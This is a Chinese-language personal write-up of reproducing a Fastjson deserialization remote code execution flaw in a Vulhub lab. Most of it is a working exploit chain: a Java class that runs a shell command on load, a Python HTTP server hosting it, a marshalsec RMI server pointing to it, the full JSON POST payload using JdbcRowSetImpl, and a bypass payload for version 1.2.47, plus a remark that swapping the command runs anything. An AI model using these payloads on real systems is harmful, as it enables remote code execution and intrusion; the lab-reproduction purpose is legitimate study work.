記錄一下
1、在網上突然發現這個漏洞,就去嘗試復現了一下,本次不記錄漏洞形成原因,只記載復現
2、首先Fastjson百度了解一下只知道是一個java庫,搜尋一下靶場環境搭建,網上大部分的都比較繁瑣, 個人推薦可以使用Vulhub搭建是和docker一起使用的官網地址:https://vulhub.org/ (上面有安裝詳解)
3、環境搭建好之后打開目標(在8090端口)
3、這里嘮叨一下,網上大部分,要不就直接給一個payload,要不就是大佬們在研究漏洞成因,(攻擊環境搭的我頭疼)
其實Vulhub上面有復現步驟,只是菜狗一枚,不懂的太多
4、下面是攻擊第一步,先生產一個類文件,(菜如狗的我,只知道是個java文件,怎么編譯我一臉懵,搜了三四個小時,還下載了idea),
1)本地安裝有java環境
2)新建個txt文件復制代碼進去重命名為TouchFile.java
3)cmd進入文件目錄運行
javac TouchFile.java
4)你就會發現生成一個class文件
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
5、接下來,先安裝maven (WIN10)
1)官網:http://maven.apache.org/download.cgi
2)下載apache-maven-3.5.3-bin.zip 並解壓
3)添加環境變量
添加 M2_HOME 和 MAVEN_HOME 環境變量到 Windows 環境變量,並將其指向你的 Maven 文件夾
Path環境變量添加 %M2_HOME%\bin
4)測試
mvn -version
6、把編譯好的class文件傳到外網系統中。並在class文件所在的目錄,使用python開啟監聽:
python -m SimpleHTTPServer 4444
可以訪問驗證一下是否開啟,是否把class文件放進入
7、然后我們借助marshalsec項目,啟動一個RMI服務器,監聽9999端口,並制定加載遠程類TouchFile.class
1)項目地址
https://github.com/mbechler/marshalsec
2)項目編譯(去項目目錄下執行命令)
mvn clean package -DskipTests
3)會生成 marshalsec-0.0.3-SNAPSHOT-all.jar 這樣一個文件
4)執行
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://剛class文件的ip或域名/#TouchFile" 9999
8、這個時候攻擊環境已經准備就緒了 ,然后直接執行payload就可以了
POST / HTTP/1.1 Host: your-ip:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 160 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://同上類文件地址:9999/TouchFile", "autoCommit":true } }
9、驗證是否成功執行
10、如果想執行其它命令,修改最初的java文件重新操作即可
以上是我遇到坑,一步一摔,詳細記錄下測試步驟,
11、簡單看了下Fastjosn1.2.47遠程命令執行漏洞,操作步驟合上一樣只是利用的函數不一樣,從而進行繞過,修改最后payload里函數即可
比如:
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
順便貼一下自己攻擊成功和失敗的包